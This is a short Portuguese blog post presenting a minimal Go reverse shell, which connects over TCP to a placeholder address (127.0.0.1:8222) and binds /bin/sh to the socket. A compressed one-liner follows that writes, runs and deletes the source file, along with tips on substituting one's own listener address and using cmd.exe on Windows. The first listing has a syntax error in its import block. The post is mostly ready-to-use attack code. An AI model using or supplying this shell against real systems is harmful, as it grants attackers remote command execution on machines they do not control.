golang: reverse shell
Um reverse shell em Golang super simples:
package main
import (
"net"
"os/exec"
}
func main() {
c, _ := net.Dial("tcp","127.0.0.1:8222")
cmd := exec.Command("/bin/sh")
cmd.Stdin = c
cmd.Stdout = c
cmd.Stderr = c
cmd.Run()
}
Claro, troque o IP e a porta para seu dispatcher.
Voce ainda pode minimizar e ter o reverse shell em “uma linha”.
echo 'package main;import"net";import"os/exec";func main(){c,_:=net.Dial("tcp","127.0.0.1:8222");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > rs.go && go run rs.go && rm rs.go
Eu nao testei, mas acredito que funcione no windows, troque o /bin/sh para cmd.exe e teste.
Articles from blogs I follow around the net
Enable local-to-anchors tables in PF rules
In a recent post to tech@ titled let's make pf(4) anchors and tables better friends (possibly originating at the ongoing hackathon) Alexandr Nedvedicky (sashan@) introduced code to enable creating local tables inside anchors in pf(4) rulesets: Date: Sa…
via OpenBSD Journal 2024-07-14 15:42My fears about AI are not what you think
A clip from a longer stream VOD where I run through my fears with the AI industry
via Xe Iaso's blog 2024-07-08 00:00WireGuard and Linux network namespaces
# Introduction This guide explains how to setup a WireGuard tunnel on Linux using a dedicated network namespace so you can choose to run a program on the VPN or over clearnet. I have been able to figure the setup thanks to the following blog post, I enh…
via Solene'% 2024-07-04 00:00Generated by openring
/comments ~umgeher/changelog@lists.sr.ht?Subject=Re: golang: reverse shell
/permalink https://umgeher.org/posts/2022/03/golang-reverse-shell.html